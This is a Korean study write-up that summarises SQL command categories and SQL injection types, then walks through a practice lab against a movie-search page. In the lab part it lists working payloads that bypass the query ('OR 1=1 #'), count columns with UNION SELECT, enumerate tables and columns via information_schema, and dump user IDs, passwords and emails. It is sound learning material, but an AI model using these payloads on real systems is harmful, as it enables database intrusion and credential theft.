Quest. SQL 기본 지식 정리하기
SQL
SQL(Structured Query Language) : 관계형 데이터베이스 관리 시스템의 데이터를 관리하기 위해 설계된 특수 목적의 프로그래밍 언어
문법이 단순한 편이고, 모든 데이터베이스 관리 시스템에서 사용 가능하다.
쿼리 : 데이터베이스에 정보를 요청하는 것, 웹 서버에 특정한 정보를 보여달라는 웹 클라이언트 요청에 의한 처리이다.
대개 데이터베이스로부터 특정한 주제어나 어귀를 찾기 위해 사용된다.
테이블 : 세로줄과 가로줄의 모델을 이용해 정렬된 데이터 값의 집합.
- 관계형 테이블 : 관계형 데이터베이스의 사용자 데이터를 보유하는 기본 구조
- 오브젝트 테이블 : 세로줄을 정의하는 객체 형을 이용하는 테이블.
SQL 문법의 종류
데이터 정의 언어 (DDL)
DB구조, 데이터 형식, 접근 방식 등 DB를 구축하거나 수정할 목적으로 사용하는 언어
데이터 정의 언어는 번역한 결과가 데이터사전이라는 특별한 파일에 여러개의 테이블로서 저장된다.
CREATE : 새로운 데이터베이스 테이블, VIEW, 인덱스, 저장 프로시저 생성
ALTER : 기존 데이터베이스 개체에 대한 변경. RENAME의 역할
DROP : 기존 데이터베이스 테이블, 뷰, 인덱스, 저장 프로시저를 제거
TRUNCATE : 테이블에서 영구 제거
데이터 조작 언어 (DML)
사용자로 하여금 데이터를 처리할 수 있게 하는 도구. 사용자와 DBMS간의 인터페이스를 제공한다.
SELECT - 검색(질의) [선택절 : WHERE, GROUP BY, HAVING, ORDER BY]
MySQL :: MySQL 5.6 Reference Manual :: 13.2.9 SELECT Statement
SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr] ... [into_option] [FROM table_references [PARTITION
dev.mysql.com
SELECT [ALL | DISTINCT] 컬럼명 [,컬럼명...] FROM 테이블명 [,테이블명...] [WHERE 조건식] [GROUP BY 컬럼명 [HAVING 조건식]] [ORDER BY 컬럼명] GROUP BY 컬럼명[,컬럼명...] ORDER BY 컬럼명[,컬럼명...]
INSERT - 삽입(등록)
UPDATE - 업데이트(수정)
DELETE - 삭제
데이터 제어 언어 (DCL)
데이터에 대한 액세스를 제어하기 위한 언어이다.
GRANT - 특정 데이터베이스 사용자에게 특정 작업을 수행 권한을 부여
REVOKE - 특정 데이터베이스 이용자에게 부여한 특정 권한을 박탈
CONNECT- 데이터베이스 또는 스키마에 연결하는 권한
SELECT - 데이터베이스에서 데이터를 검색하는 권한
INSERT - 데이터베이스에 데이터를 등록할 수 있는 권한
UPDATE - 데이터베이스의 데이터를 업데이트 할 수 있는 권한
DELETE - 데이터베이스의 데이터를 삭제할 수 있는 권한
USAGE - 스키마 또는 함수와 같은 데이터베이스 개체를 사용할 수 있는 권한
Quest. SQL injection에 대해 정리하기
SQL injection
응용 프로그램 보안 상의 허점을 이용해, 악의적인 SQL문을 실행되게 함으로써 데이터베이스를 비정상적으로 조작하는 코드 인젝션 공격 방법.
사용자가 입력한 값을 서버에서 제대로 검증하지 않아, 서버에서 DB의 쿼리문으로 인식해 DB안의 정보가 노출되거나 인증이 우회되는 취약점이 있다.
공격 종류
1. Error based SQL Injection
1. SELECT * FROM Users WHERE id = 'INPUT1' AND password = 'INPUT2'
2. ' OR 1=1 -- 입력
3. SELECT * FROM Users WHERE id = ' ' OR 1=1 -- ' AND password = 'INPUT2' => SELECT * FROM Users
입력값에 대한 검증이 없음을 확인하고, 악의적인 사용자가 임의의 SQL 구문을 주입한다.
Users 테이블에 있는 모든 정보를 조회하게 됨으로써 가장 먼저 만들어진 관리자 계정에 로그인 할 수 있게 된다.
2. Union based SQL Injection
Union 키워드 : 두 개의 쿼리문에 대한 결과를 통합해서 하나의 테이블로 보여주게 하는 키워드
정상적인 쿼리문에 Union 키워드를 사용해 인젝션에 성공하면 원하는 쿼리문을 실행할 수 있다.
성공 조건 : Union하는 구 테이블의 컬럼 수가 같아야 함, 데이터 형이 같아야 한다.
3. Blind SQL Injection
① Boolean based SQL
데이터베이스로부터 특정한 값이나 데이터를 전달받지 않고, 단순히 참과 거짓의 정보만 알 수 있을 때 사용한다.
서버가 응답하는 로그인 성공과 실패 메시지를 이용해 DB의 테이블 정보 등을 추출 가능하다.
② Time based SQL
서버로부터 특정한 응답 대신에 참 혹은 거짓의 응답을 통해 데이터베이스의 정보를 유추하는 기법
4. Stored Procesure SQL Injection
공격자가 시스템 권한을 획득해야 하므로 공격난이도가 높으나 성공한다면 서버에 직접적인 피해를 입힐 수 있다.
5. Mass SQL Injection
다량의 데이터베이스가 조작되어 큰 피해를 입히는 것.
데이터베이스 값을 변조해 데이터베이스에 악성스크립트를 삽입하고, 사용자들이 변조된 사이트에 접속 시 좀비PC로 감염되게 한다.
SQL Injection 이란? (SQL 삽입 공격)
1. SQL Injection 1.1 개요 SQL Injection SQL Injection 이란 악의적인 사용자가 보안상의 취약점을 이용하여, 임의의 SQL 문을 주입하고 실행되게 하여 데이터베이스가 비정상적인 동작을 하도록 조작
noirstar.tistory.com
MISSION. 영화 정보가 들어 있는 데이터베이스에 저장된 사용자들의 아이디와 비밀번호를 획득하자.
Quest. SQL Injection이 통하는지 아닌지 확인해보고, SQL Injection이 된다면 데이터베이스의 서버 종류가 무엇인지 확인해봅시다.
검색란에 작은 따옴표를 작성해보자.

작은 따옴표를 입력한 이유는 SQL로 문자 데이터를 구분하기 때문이다.
에러 메세지를 통해 SQL Injection이 가능하고, MYSQL을 사용했다는 것을 확인할 수 있다.
따라서 주석문자는 #을 이용해야 한다. (MYSQL은 주석문자로 #을 이용한다)
Quest. 모든 영화자료를 출력해봅시다.
SELECT의 조건을 항상 참으로 만들고 주석문자를 이용해 자료를 출력할 수 있다.
' OR 1=1 #

잘 출력되었다.
Quest. 데이터베이스에서 호출하는 칼럼 수가 몇 개인지 알아내세요.
UNION SELECT를 이용해서 구할 수 있다.
UNION은 SELECT 문이 둘 이상일 때 이를 결합해 두 결과를 하나로 반환한다.
따라서 UNION SELECT ALL을 사용하면 전체 칼럼과 수가 일치해야 결과를 볼 수 있다.
이런 식으로 숫자를 1씩 증가시키면서 칼럼 수를 알아내자.
' union select all 1,2,3,4,5,6,7#

위의 명령어를 입력했을 때 사진의 테이블이 출력되었다.
따라서 칼럼 수는 7이다.
Quest. 데이터베이스에 존재하는 모든 테이블 명을 출력하세요.
information_schema를 이용하면 DB안에 테이블이 있는지, 몇개나 있는지 알 수 있다.
' union select all 1,2,3,table_name,5,6,7 from information_schema.tables#
해당 명령어를 이용하면 4번째 자리에 테이블 명이 출력된다.

영화 이름이 먼저 출력된 뒤에 테이블 명이 출력된다.
Quest. 우리가 출력한 테이블 명에서 사용자 정보가 있을 것 같은 테이블이 있습니다. 그 테이블의 칼럼 명을 출력해봅시다.
아까 출력한 테이블 명에서 사용자 정보가 있을 것 같은 테이블은 user이다.

아까와 같이 명령을 입력해보자.
' union select all 1,column_name,3,4,5,6,7 from information_schema.columns#

users로 추정되는 칼럼들을 찾았지만 너무 많은 칼럼들이 섞여 있어서 찾기 힘들었다.
SQL 명령을 이용해서 조금 더 정돈해서 찾아보자.
' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users'#
테이블 이름이 users인 곳에서만 칼럼의 이름을 출력한다.

아까와 같이 영화 목록 아래에 users의 칼럼 명이 출력된다.
Quest. 사용자의 id, password, email 정보 등을 출력해봅시다.
위에서 users의 칼럼 명을 확인했으니 이를 이용해 id, password, email 정보를 출력하면 된다.
' union select all 1,id,password,email,login,6,7 from users#

내 진짜 메일이 나와서 살짝 가려줬다.